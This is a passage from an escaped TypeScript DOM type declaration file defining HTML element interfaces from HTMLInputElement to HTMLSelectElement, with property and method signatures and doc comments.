direction?: string): void;\\n    /**\\n     * Decrements a range input control\\'s value by the value given by the Step attribute. If the optional parameter is used, it will decrement the input control\\'s step value multiplied by the parameter\\'s value.\\n     * @param n Value to decrement the value by.\\n     */\\n    stepDown(n?: number): void;\\n    /**\\n     * Increments a range input control\\'s value by the value given by the Step attribute. If the optional parameter is used, will increment the input control\\'s value by that value.\\n     * @param n Value to increment the value by.\\n     */\\n    stepUp(n?: number): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLInputElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLInputElement: {\\n    prototype: HTMLInputElement;\\n    new(): HTMLInputElement;\\n};\\n\\ninterface HTMLLabelElement extends HTMLElement {\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the object to which the given label object is assigned.\\n     */\\n    htmlFor: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLLabelElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLLabelElement: {\\n    prototype: HTMLLabelElement;\\n    new(): HTMLLabelElement;\\n};\\n\\ninterface HTMLLegendElement extends HTMLElement {\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    align: string;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLLegendElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLLegendElement: {\\n    prototype: HTMLLegendElement;\\n    new(): HTMLLegendElement;\\n};\\n\\ninterface HTMLLIElement extends HTMLElement {\\n    type: string;\\n    /**\\n     * Sets or retrieves the value of a list item.\\n     */\\n    value: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLLIElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLLIElement: {\\n    prototype: HTMLLIElement;\\n    new(): HTMLLIElement;\\n};\\n\\ninterface HTMLLinkElement extends HTMLElement, LinkStyle {\\n    /**\\n     * Sets or retrieves the character set used to encode the object.\\n     */\\n    charset: string;\\n    disabled: boolean;\\n    /**\\n     * Sets or retrieves a destination URL or an anchor point.\\n     */\\n    href: string;\\n    /**\\n     * Sets or retrieves the language code of the object.\\n     */\\n    hreflang: string;\\n    /**\\n     * Sets or retrieves the media type.\\n     */\\n    media: string;\\n    /**\\n     * Sets or retrieves the relationship between the object and the destination of the link.\\n     */\\n    rel: string;\\n    /**\\n     * Sets or retrieves the relationship between the object and the destination of the link.\\n     */\\n    rev: string;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    /**\\n     * Sets or retrieves the MIME type of the object.\\n     */\\n    type: string;\\n    import?: Document;\\n    integrity: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLLinkElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLLinkElement: {\\n    prototype: HTMLLinkElement;\\n    new(): HTMLLinkElement;\\n};\\n\\ninterface HTMLMapElement extends HTMLElement {\\n    /**\\n     * Retrieves a collection of the area objects defined for the given map object.\\n     */\\n    readonly areas: HTMLAreasCollection;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLMapElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMapElement: {\\n    prototype: HTMLMapElement;\\n    new(): HTMLMapElement;\\n};\\n\\ninterface HTMLMarqueeElementEventMap extends HTMLElementEventMap {\\n    \"bounce\": Event;\\n    \"finish\": Event;\\n    \"start\": Event;\\n}\\n\\ninterface HTMLMarqueeElement extends HTMLElement {\\n    behavior: string;\\n    bgColor: any;\\n    direction: string;\\n    height: string;\\n    hspace: number;\\n    loop: number;\\n    onbounce: (this: HTMLMarqueeElement, ev: Event) => any;\\n    onfinish: (this: HTMLMarqueeElement, ev: Event) => any;\\n    onstart: (this: HTMLMarqueeElement, ev: Event) => any;\\n    scrollAmount: number;\\n    scrollDelay: number;\\n    trueSpeed: boolean;\\n    vspace: number;\\n    width: string;\\n    start(): void;\\n    stop(): void;\\n    addEventListener<K extends keyof HTMLMarqueeElementEventMap>(type: K, listener: (this: HTMLMarqueeElement, ev: HTMLMarqueeElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMarqueeElement: {\\n    prototype: HTMLMarqueeElement;\\n    new(): HTMLMarqueeElement;\\n};\\n\\ninterface HTMLMediaElementEventMap extends HTMLElementEventMap {\\n    \"encrypted\": MediaEncryptedEvent;\\n    \"msneedkey\": MSMediaKeyNeededEvent;\\n}\\n\\ninterface HTMLMediaElement extends HTMLElement {\\n    /**\\n     * Returns an AudioTrackList object with the audio tracks for a given video element.\\n     */\\n    readonly audioTracks: AudioTrackList;\\n    /**\\n     * Gets or sets a value that indicates whether to start playing the media automatically.\\n     */\\n    autoplay: boolean;\\n    /**\\n     * Gets a collection of buffered time ranges.\\n     */\\n    readonly buffered: TimeRanges;\\n    /**\\n     * Gets or sets a flag that indicates whether the client provides a set of controls for the media (in case the developer does not include controls for the player).\\n     */\\n    controls: boolean;\\n    crossOrigin: string | null;\\n    /**\\n     * Gets the address or URL of the current media resource that is selected by IHTMLMediaElement.\\n     */\\n    readonly currentSrc: string;\\n    /**\\n     * Gets or sets the current playback position, in seconds.\\n     */\\n    currentTime: number;\\n    defaultMuted: boolean;\\n    /**\\n     * Gets or sets the default playback rate when the user is not using fast forward or reverse for a video or audio resource.\\n     */\\n    defaultPlaybackRate: number;\\n    /**\\n     * Returns the duration in seconds of the current media resource. A NaN value is returned if duration is not available, or Infinity if the media resource is streaming.\\n     */\\n    readonly duration: number;\\n    /**\\n     * Gets information about whether the playback has ended or not.\\n     */\\n    readonly ended: boolean;\\n    /**\\n     * Returns an object representing the current error state of the audio or video element.\\n     */\\n    readonly error: MediaError;\\n    /**\\n     * Gets or sets a flag to specify whether playback should restart after it completes.\\n     */\\n    loop: boolean;\\n    readonly mediaKeys: MediaKeys | null;\\n    /**\\n     * Specifies the purpose of the audio or video media, such as background audio or alerts.\\n     */\\n    msAudioCategory: string;\\n    /**\\n     * Specifies the output device id that the audio will be sent to.\\n     */\\n    msAudioDeviceType: string;\\n    readonly msGraphicsTrustStatus: MSGraphicsTrust;\\n    /**\\n     * Gets the MSMediaKeys object, which is used for decrypting media data, that is associated with this media element.\\n     */\\n    readonly msKeys: MSMediaKeys;\\n    /**\\n     * Gets or sets whether the DLNA PlayTo device is available.\\n     */\\n    msPlayToDisabled: boolean;\\n    /**\\n     * Gets or sets the path to the preferred media source. This enables the Play To target device to stream the media content, which can be DRM protected, from a different location, such as a cloud media server.\\n     */\\n    msPlayToPreferredSourceUri: string;\\n    /**\\n     * Gets or sets the primary DLNA PlayTo device.\\n     */\\n    msPlayToPrimary: boolean;\\n    /**\\n     * Gets the source associated with the media element for use by the PlayToManager.\\n     */\\n    readonly msPlayToSource: any;\\n    /**\\n     * Specifies whether or not to enable low-latency playback on the media element.\\n     */\\n    msRealTime: boolean;\\n    /**\\n     * Gets or sets a flag that indicates whether the audio (either audio or the audio track on video media) is muted.\\n     */\\n    muted: boolean;\\n    /**\\n     * Gets the current network activity for the element.\\n     */\\n    readonly networkState: number;\\n    onencrypted: (this: HTMLMediaElement, ev: MediaEncryptedEvent) => any;\\n    onmsneedkey: (this: HTMLMediaElement, ev: MSMediaKeyNeededEvent) => any;\\n    /**\\n     * Gets a flag that specifies whether playback is paused.\\n     */\\n    readonly paused: boolean;\\n    /**\\n     * Gets or sets the current rate of speed for the media resource to play. This speed is expressed as a multiple of the normal speed of the media resource.\\n     */\\n    playbackRate: number;\\n    /**\\n     * Gets TimeRanges for the current media resource that has been played.\\n     */\\n    readonly played: TimeRanges;\\n    /**\\n     * Gets or sets the current playback position, in seconds.\\n     */\\n    preload: string;\\n    readyState: number;\\n    /**\\n     * Returns a TimeRanges object that represents the ranges of the current media resource that can be seeked.\\n     */\\n    readonly seekable: TimeRanges;\\n    /**\\n     * Gets a flag that indicates whether the the client is currently moving to a new playback position in the media resource.\\n     */\\n    readonly seeking: boolean;\\n    /**\\n     * The address or URL of the a media resource that is to be considered.\\n     */\\n    src: string;\\n    srcObject: MediaStream | null;\\n    readonly textTracks: TextTrackList;\\n    readonly videoTracks: VideoTrackList;\\n    /**\\n     * Gets or sets the volume level for audio portions of the media element.\\n     */\\n    volume: number;\\n    addTextTrack(kind: string, label?: string, language?: string): TextTrack;\\n    /**\\n     * Returns a string that specifies whether the client can play a given media resource type.\\n     */\\n    canPlayType(type: string): string;\\n    /**\\n     * Resets the audio or video object and loads a new media resource.\\n     */\\n    load(): void;\\n    /**\\n     * Clears all effects from the media pipeline.\\n     */\\n    msClearEffects(): void;\\n    msGetAsCastingSource(): any;\\n    /**\\n     * Inserts the specified audio effect into media pipeline.\\n     */\\n    msInsertAudioEffect(activatableClassId: string, effectRequired: boolean, config?: any): void;\\n    msSetMediaKeys(mediaKeys: MSMediaKeys): void;\\n    /**\\n     * Specifies the media protection manager for a given media pipeline.\\n     */\\n    msSetMediaProtectionManager(mediaProtectionManager?: any): void;\\n    /**\\n     * Pauses the current playback and sets paused to TRUE. This can be used to test whether the media is playing or paused. You can also use the pause or play events to tell whether the media is playing or not.\\n     */\\n    pause(): void;\\n    /**\\n     * Loads and starts playback of a media resource.\\n     */\\n    play(): Promise<void>;\\n    setMediaKeys(mediaKeys: MediaKeys | null): Promise<void>;\\n    readonly HAVE_CURRENT_DATA: number;\\n    readonly HAVE_ENOUGH_DATA: number;\\n    readonly HAVE_FUTURE_DATA: number;\\n    readonly HAVE_METADATA: number;\\n    readonly HAVE_NOTHING: number;\\n    readonly NETWORK_EMPTY: number;\\n    readonly NETWORK_IDLE: number;\\n    readonly NETWORK_LOADING: number;\\n    readonly NETWORK_NO_SOURCE: number;\\n    addEventListener<K extends keyof HTMLMediaElementEventMap>(type: K, listener: (this: HTMLMediaElement, ev: HTMLMediaElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMediaElement: {\\n    prototype: HTMLMediaElement;\\n    new(): HTMLMediaElement;\\n    readonly HAVE_CURRENT_DATA: number;\\n    readonly HAVE_ENOUGH_DATA: number;\\n    readonly HAVE_FUTURE_DATA: number;\\n    readonly HAVE_METADATA: number;\\n    readonly HAVE_NOTHING: number;\\n    readonly NETWORK_EMPTY: number;\\n    readonly NETWORK_IDLE: number;\\n    readonly NETWORK_LOADING: number;\\n    readonly NETWORK_NO_SOURCE: number;\\n};\\n\\ninterface HTMLMenuElement extends HTMLElement {\\n    compact: boolean;\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLMenuElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMenuElement: {\\n    prototype: HTMLMenuElement;\\n    new(): HTMLMenuElement;\\n};\\n\\ninterface HTMLMetaElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the character set used to encode the object.\\n     */\\n    charset: string;\\n    /**\\n     * Gets or sets meta-information to associate with httpEquiv or name.\\n     */\\n    content: string;\\n    /**\\n     * Gets or sets information used to bind the value of a content attribute of a meta element to an HTTP response header.\\n     */\\n    httpEquiv: string;\\n    /**\\n     * Sets or retrieves the value specified in the content attribute of the meta object.\\n     */\\n    name: string;\\n    /**\\n     * Sets or retrieves a scheme to be used in interpreting the value of a property specified for the object.\\n     */\\n    scheme: string;\\n    /**\\n     * Sets or retrieves the URL property that will be loaded after the specified time has elapsed.\\n     */\\n    url: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLMetaElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMetaElement: {\\n    prototype: HTMLMetaElement;\\n    new(): HTMLMetaElement;\\n};\\n\\ninterface HTMLMeterElement extends HTMLElement {\\n    high: number;\\n    low: number;\\n    max: number;\\n    min: number;\\n    optimum: number;\\n    value: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLMeterElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMeterElement: {\\n    prototype: HTMLMeterElement;\\n    new(): HTMLMeterElement;\\n};\\n\\ninterface HTMLModElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves reference information about the object.\\n     */\\n    cite: string;\\n    /**\\n     * Sets or retrieves the date and time of a modification to the object.\\n     */\\n    dateTime: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLModElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLModElement: {\\n    prototype: HTMLModElement;\\n    new(): HTMLModElement;\\n};\\n\\ninterface HTMLObjectElement extends HTMLElement, GetSVGDocument {\\n    align: string;\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Gets or sets the optional alternative HTML script to execute if the object fails to load.\\n     */\\n    altHtml: string;\\n    /**\\n     * Sets or retrieves a character string that can be used to implement your own archive functionality for the object.\\n     */\\n    archive: string;\\n    /**\\n     * Retrieves a string of the URL where the object tag can be found. This is often the href of the document that the object is in, or the value set by a base element.\\n     */\\n    readonly BaseHref: string;\\n    border: string;\\n    /**\\n     * Sets or retrieves the URL of the file containing the compiled Java class.\\n     */\\n    code: string;\\n    /**\\n     * Sets or retrieves the URL of the component.\\n     */\\n    codeBase: string;\\n    /**\\n     * Sets or retrieves the Internet media type for the code associated with the object.\\n     */\\n    codeType: string;\\n    /**\\n     * Retrieves the document object of the page or frame.\\n     */\\n    readonly contentDocument: Document;\\n    /**\\n     * Sets or retrieves the URL that references the data of the object.\\n     */\\n    data: string;\\n    declare: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    hspace: number;\\n    /**\\n     * Gets or sets whether the DLNA PlayTo device is available.\\n     */\\n    msPlayToDisabled: boolean;\\n    /**\\n     * Gets or sets the path to the preferred media source. This enables the Play To target device to stream the media content, which can be DRM protected, from a different location, such as a cloud media server.\\n     */\\n    msPlayToPreferredSourceUri: string;\\n    /**\\n     * Gets or sets the primary DLNA PlayTo device.\\n     */\\n    msPlayToPrimary: boolean;\\n    /**\\n     * Gets the source associated with the media element for use by the PlayToManager.\\n     */\\n    readonly msPlayToSource: any;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    readonly readyState: number;\\n    /**\\n     * Sets or retrieves a message to be displayed while an object is loading.\\n     */\\n    standby: string;\\n    /**\\n     * Sets or retrieves the MIME type of the object.\\n     */\\n    type: string;\\n    /**\\n     * Sets or retrieves the URL, often with a bookmark extension (#name), to use as a client-side image map.\\n     */\\n    useMap: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    vspace: number;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLObjectElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLObjectElement: {\\n    prototype: HTMLObjectElement;\\n    new(): HTMLObjectElement;\\n};\\n\\ninterface HTMLOListElement extends HTMLElement {\\n    compact: boolean;\\n    /**\\n     * The starting number.\\n     */\\n    start: number;\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLOListElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLOListElement: {\\n    prototype: HTMLOListElement;\\n    new(): HTMLOListElement;\\n};\\n\\ninterface HTMLOptGroupElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the status of an option.\\n     */\\n    defaultSelected: boolean;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the ordinal position of an option in a list box.\\n     */\\n    readonly index: number;\\n    /**\\n     * Sets or retrieves a value that you can use to implement your own label functionality for the object.\\n     */\\n    label: string;\\n    /**\\n     * Sets or retrieves whether the option in the list box is the default item.\\n     */\\n    selected: boolean;\\n    /**\\n     * Sets or retrieves the text string specified by the option tag.\\n     */\\n    readonly text: string;\\n    /**\\n     * Sets or retrieves the value which is returned to the server when the form control is submitted.\\n     */\\n    value: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLOptGroupElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLOptGroupElement: {\\n    prototype: HTMLOptGroupElement;\\n    new(): HTMLOptGroupElement;\\n};\\n\\ninterface HTMLOptionElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the status of an option.\\n     */\\n    defaultSelected: boolean;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the ordinal position of an option in a list box.\\n     */\\n    readonly index: number;\\n    /**\\n     * Sets or retrieves a value that you can use to implement your own label functionality for the object.\\n     */\\n    label: string;\\n    /**\\n     * Sets or retrieves whether the option in the list box is the default item.\\n     */\\n    selected: boolean;\\n    /**\\n     * Sets or retrieves the text string specified by the option tag.\\n     */\\n    text: string;\\n    /**\\n     * Sets or retrieves the value which is returned to the server when the form control is submitted.\\n     */\\n    value: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLOptionElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLOptionElement: {\\n    prototype: HTMLOptionElement;\\n    new(): HTMLOptionElement;\\n};\\n\\ninterface HTMLOptionsCollection extends HTMLCollectionOf<HTMLOptionElement> {\\n    length: number;\\n    selectedIndex: number;\\n    add(element: HTMLOptionElement | HTMLOptGroupElement, before?: HTMLElement | number): void;\\n    remove(index: number): void;\\n}\\n\\ndeclare var HTMLOptionsCollection: {\\n    prototype: HTMLOptionsCollection;\\n    new(): HTMLOptionsCollection;\\n};\\n\\ninterface HTMLOutputElement extends HTMLElement {\\n    defaultValue: string;\\n    readonly form: HTMLFormElement;\\n    readonly htmlFor: DOMSettableTokenList;\\n    name: string;\\n    readonly type: string;\\n    readonly validationMessage: string;\\n    readonly validity: ValidityState;\\n    value: string;\\n    readonly willValidate: boolean;\\n    checkValidity(): boolean;\\n    reportValidity(): boolean;\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLOutputElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLOutputElement: {\\n    prototype: HTMLOutputElement;\\n    new(): HTMLOutputElement;\\n};\\n\\ninterface HTMLParagraphElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    clear: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLParagraphElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLParagraphElement: {\\n    prototype: HTMLParagraphElement;\\n    new(): HTMLParagraphElement;\\n};\\n\\ninterface HTMLParamElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the name of an input parameter for an element.\\n     */\\n    name: string;\\n    /**\\n     * Sets or retrieves the content type of the resource designated by the value attribute.\\n     */\\n    type: string;\\n    /**\\n     * Sets or retrieves the value of an input parameter for an element.\\n     */\\n    value: string;\\n    /**\\n     * Sets or retrieves the data type of the value attribute.\\n     */\\n    valueType: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLParamElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLParamElement: {\\n    prototype: HTMLParamElement;\\n    new(): HTMLParamElement;\\n};\\n\\ninterface HTMLPictureElement extends HTMLElement {\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLPictureElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLPictureElement: {\\n    prototype: HTMLPictureElement;\\n    new(): HTMLPictureElement;\\n};\\n\\ninterface HTMLPreElement extends HTMLElement {\\n    /**\\n     * Sets or gets a value that you can use to implement your own width functionality for the object.\\n     */\\n    width: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLPreElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLPreElement: {\\n    prototype: HTMLPreElement;\\n    new(): HTMLPreElement;\\n};\\n\\ninterface HTMLProgressElement extends HTMLElement {\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Defines the maximum, or \"done\" value for a progress element.\\n     */\\n    max: number;\\n    /**\\n     * Returns the quotient of value/max when the value attribute is set (determinate progress bar), or -1 when the value attribute is missing (indeterminate progress bar).\\n     */\\n    readonly position: number;\\n    /**\\n     * Sets or gets the current value of a progress element. The value must be a non-negative number between 0 and the max value.\\n     */\\n    value: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLProgressElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLProgressElement: {\\n    prototype: HTMLProgressElement;\\n    new(): HTMLProgressElement;\\n};\\n\\ninterface HTMLQuoteElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves reference information about the object.\\n     */\\n    cite: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLQuoteElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLQuoteElement: {\\n    prototype: HTMLQuoteElement;\\n    new(): HTMLQuoteElement;\\n};\\n\\ninterface HTMLScriptElement extends HTMLElement {\\n    async: boolean;\\n    /**\\n     * Sets or retrieves the character set used to encode the object.\\n     */\\n    charset: string;\\n    crossOrigin: string | null;\\n    /**\\n     * Sets or retrieves the status of the script.\\n     */\\n    defer: boolean;\\n    /**\\n     * Sets or retrieves the event for which the script is written.\\n     */\\n    event: string;\\n    /**\\n     * Sets or retrieves the object that is bound to the event script.\\n     */\\n    htmlFor: string;\\n    /**\\n     * Retrieves the URL to an external file that contains the source code or data.\\n     */\\n    src: string;\\n    /**\\n     * Retrieves or sets the text of the object as a string.\\n     */\\n    text: string;\\n    /**\\n     * Sets or retrieves the MIME type for the associated scripting engine.\\n     */\\n    type: string;\\n    integrity: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLScriptElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLScriptElement: {\\n    prototype: HTMLScriptElement;\\n    new(): HTMLScriptElement;\\n};\\n\\ninterface HTMLSelectElement extends HTMLElement {\\n    /**\\n     * Provides a way to direct a user to a specific field when a document loads. This can provide both direction and convenience for a user, reducing the need to click or tab to a field when a page opens. This attribute is true when present on an element, and false when missing.\\n     */\\n    autofocus: boolean;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the number of objects in a collection.\\n     */\\n    length: number;\\n    /**\\n     * Sets or retrieves the Boolean value indicating whether multiple items can be selected from a list.\\n     */\\n    multiple: boolean;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    readonly options: HTMLOptionsCollection;\\n    /**\\n     * When present, marks an element that can\\'t be submitted without a value.\\n     */\\n    required: boolean;\\n    /**\\n     * Sets or retrieves the index of the selected option in a select object.\\n     */\\n    selectedIndex: number;\\n    selectedOptions: HTMLCollectionOf<HTMLOptionElement>;\\n    /**\\n     * Sets or retrieves the number of rows in the list box.\\n     */\\n    size: number;\\n    /**\\n     * Retrieves the type of select control based on the value of the MULTIPLE attribute.\\n     */\\n    readonly type: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Sets or retrieves the value which is returned to the server when the form control is submitted.\\n     */\\n    value: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Adds an element to the areas, controlRange, or options collection.\\n     * @param element Variant of type Number that specifies the index position in the collection where the element is placed. If no value is given, the method places the element at the end of the collection.\\n     * @param before Variant of type Object that specifies an element to insert before, or null to append the object to the collection.\\n     */\\n    add(element: HTMLElement, before?: HTMLElement | number): void;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Retrieves a select object or an object from an options collection.\\n     * @param name Variant of type Number or String that specifies the object or collection to retrieve. If this parameter is an integer, it is the zero-based index of the object. If this parameter is a string, all objects with matching name or id properties are retrieved, and a collection is returned if more than one match is made.\\n     * @param index Variant of type Number that specifies the zero-based index of the object to retrieve when a collection is returned.\\n     */\\n    item(name?: any, index?: any): any;\\n    /**\\n     * Retrieves a select object or an object from an options collection.\\n     * @param namedItem A String that specifies the name or id property of the object to retrieve. A collection is returned if more than one match is made.\\n     */\\n    namedItem(name: string): any;\\n    /**\\n     * Removes an element from the collection.\\n     * @param index Number that specifies the zero-based index of the element to remove from the collection.\\n     */\\n    remove(index?: number): void;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLSelectElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [name: string]: any;\\n}\\n\\ndeclare var HTMLSelectElement: {\\n    prototype: HTMLSelectElement;\\n    new(): HTMLSelectElement;\\n};\\n\\ninterface HTMLSourceElement extends HTMLElement {\\n    /**\\n     * Gets or sets the 